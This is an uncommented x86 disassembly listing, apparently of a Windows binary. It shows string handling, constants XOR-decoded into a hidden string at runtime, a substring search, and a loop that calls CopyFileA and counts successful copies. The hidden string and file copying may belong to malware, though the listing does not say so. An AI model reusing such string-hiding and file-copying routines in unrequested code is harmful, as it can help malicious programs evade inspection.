mov edi, dword [ebp - 0x18]
mov byte [ebp - 4], 0x25
mov eax, dword [ebp - 0x114]
cmp eax, 0xf
jbe 0x4857e2
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x4857d8
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x485de9
push ecx
push edi
call fcn.004338f3
add esp, 8
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x244]
cmp ecx, 0xf
jbe 0x48583b
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x485831
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x485de9
push ecx
push edx
call fcn.004338f3
add esp, 8
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
jmp 0x485b1e
mov ecx, esi
mov dword [ebp - 0x2ac], 0
movups xmmword [ebp - 0x2bc], xmm0
mov dword [ebp - 0x2a8], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x485880
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x2bc]
call fcn.00403040
mov byte [ebp - 4], 0x27
xorps xmm0, xmm0
mov dword [ebp - 0x190], 0xb4f58fbb
mov dword [ebp - 0x18c], 0xf940fadb
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x18c]
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x198], 0x7dbb92e6
mov dword [ebp - 0x194], 0x14d846fe
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x194]
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x148], 0xdf9be395
mov dword [ebp - 0x144], 0xf940fadb
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x158], 0x7dbb92e6
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x154], 0x14d846fe
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
movaps xmm1, xmmword [ebp - 0x200]
mov dword [ebp - 0x2c4], ecx
lea ecx, [ebp - 0x200]
mov dword [ebp - 0x2c8], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x2d0]
movaps xmmword [ebp - 0x200], xmm1
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x485986
sub ecx, edx
lea eax, [ebp - 0x200]
push ecx
push eax
lea ecx, [ebp - 0x140]
call fcn.00403040
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x140]
cmp dword [ebp - 0x12c], 0xf
lea edx, [ebp - 0x64]
mov edi, dword [ebp - 0x140]
mov esi, dword [ebp - 0x130]
cmova ecx, edi
cmp dword [ebp - 0x50], 0xf
mov eax, dword [ebp - 0x54]
cmova edx, dword [ebp - 0x64]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x1c], edx
cmp esi, eax
ja 0x485aba
sub eax, esi
test esi, esi
jne 0x4859ee
xor edi, edi
jmp 0x485a92
movsx ecx, byte [ecx]
inc eax
add eax, edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x4c], eax
sub eax, edx
push eax
push ecx
push edx
call fcn.004371a0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x485ab7
mov ecx, dword [ebp - 0x30]
mov edx, edi
sub esi, 4
jb 0x485a31
nop dword [eax + eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x485a36
add edx, 4
add ecx, 4
sub esi, 4
jae 0x485a20
cmp esi, 0xfffffffc
je 0x485a84
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x485a63
cmp esi, 0xfffffffd
je 0x485a84
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x485a63
cmp esi, 0xfffffffe
je 0x485a84
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x485a63
cmp esi, 0xffffffff
je 0x485a84
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x485a84
mov eax, dword [ebp - 0x4c]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x20]
push edi
call fcn.004371a0
mov esi, dword [ebp - 0x130]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x485a11
jmp 0x485ab7
sub edi, dword [ebp - 0x1c]
cmp edi, 0xffffffff
je 0x485ab7
mov esi, dword [ebp - 0x130]
cmp dword [ebp - 0x2a8], 0xf
lea eax, [ebp - 0x2bc]
push dword [ebp - 0x2ac]
cmova eax, dword [ebp - 0x2bc]
lea ecx, [ebp - 0x64]
push eax
push esi
push edi
call fcn.00418b00
mov edi, dword [ebp - 0x18]
mov byte [ebp - 4], 0x27
mov eax, dword [ebp - 0x12c]
cmp eax, 0xf
jbe 0x485af4
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x485aea
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x485de9
push ecx
push edi
call fcn.004338f3
add esp, 8
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x2bc]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x48]
mov ecx, esp
mov dword [ebp - 0xec], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x29
mov byte [ebp - 4], 0x23
call fcn.004e7220
add esp, 0x18
mov esi, eax
jmp 0x485b49
mov esi, dword [ebp - 0x18]
and dword [ebp - 0x28], 0xffffffdf
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0xf
jbe 0x485b8b
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x485b81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x485de9
push ecx
push edx
call fcn.004338f3
add esp, 8
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
jmp 0x485bb0
mov esi, dword [ebp - 0x18]
jmp 0x485bb3
mov esi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x34]
test esi, esi
je 0x485be7
cmp esi, dword [ebp - 0x6c]
ja 0x485be7
cmp dword [ebp - 0x50], 0xf
lea ecx, [ebp - 0x64]
push 0
cmova ecx, dword [ebp - 0x64]
lea eax, [ebp - 0x48]
cmp edx, 0xf
push ecx
cmova eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x485be7
mov eax, dword [ebx + 8]
inc dword [ebp - 0x2c]
add dword [eax], esi
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x48]
call fcn.00402df0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x50]
cmp ecx, 0xf
jbe 0x485c2b
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x485c21
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x485de9
push ecx
push edx
call fcn.004338f3
add esp, 8
mov byte [ebp - 0x64], 0
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x54], 0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc8]
sub eax, ecx
mov edx, dword [ebp - 0x7c]
sar eax, 3
inc edx
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0x7c], edx
cmp edx, eax
jae 0x485c67
mov esi, dword [ebx + 8]
jmp 0x484aa0
mov edi, dword [ebp - 0x2c]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc8]
call fcn.004185d0
test edi, edi
jg 0x485ce9
cmp byte [ebp - 0x11], 0
je 0x485ce9
cmp dword [ebx + 0x50], 0xf
lea edx, [ebx + 0x3c]
xorps xmm0, xmm0
mov dword [ebp - 0x330], 0
cmova edx, dword [ebx + 0x3c]
mov ecx, edx
mov dword [ebp - 0x32c], 0
movups xmmword [ebp - 0x340], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x485cb1
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x340]
call fcn.00403040
mov byte [ebp - 4], 0x2a
push ecx
lea ecx, [ebp - 0x340]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x340]
call fcn.00402df0
lea eax, [ebx + 0x3c]
push eax
lea eax, [ebp - 0x1a0]
push eax
call fcn.004134c0
mov ecx, 0x5898e4
mov eax, dword [eax]
cmp eax, dword [0x5898e4]
lea eax, [ebx + 0x3c]
push eax
jne 0x485d15
call fcn.00413340
mov dword [eax], edi
jmp 0x485d1c
call fcn.00413340
add dword [eax], edi
mov byte [ebp - 4], 2
lea ecx, [ebx + 0x24]
call fcn.00402df0
mov byte [ebp - 4], 1
lea ecx, [ebx + 0x3c]
call fcn.00402df0
mov byte [ebp - 4], 0
lea ecx, [ebx + 0xc]
call fcn.004185d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebx + 0x18]
call fcn.004185d0
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x589910
call fcn.004339b3
add esp, 4
cmp dword [0x589910], 0xffffffff
jne 0x484641
mov byte [ebp - 4], 4
push 0x2c
mov dword [0x5898e4], 0
mov dword [0x5898e8], 0
call fcn.00433672
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [0x5898e4], eax
mov byte [ebp - 4], 4
push 0x55c930
call fcn.004338de
add esp, 4
mov byte [ebp - 4], 3
push 0x589910
call fcn.00433962
add esp, 4
jmp 0x484641
call fcn.00402b50
call fcn.00403330
call fcn.00402c60
call fcn.00438c70
int3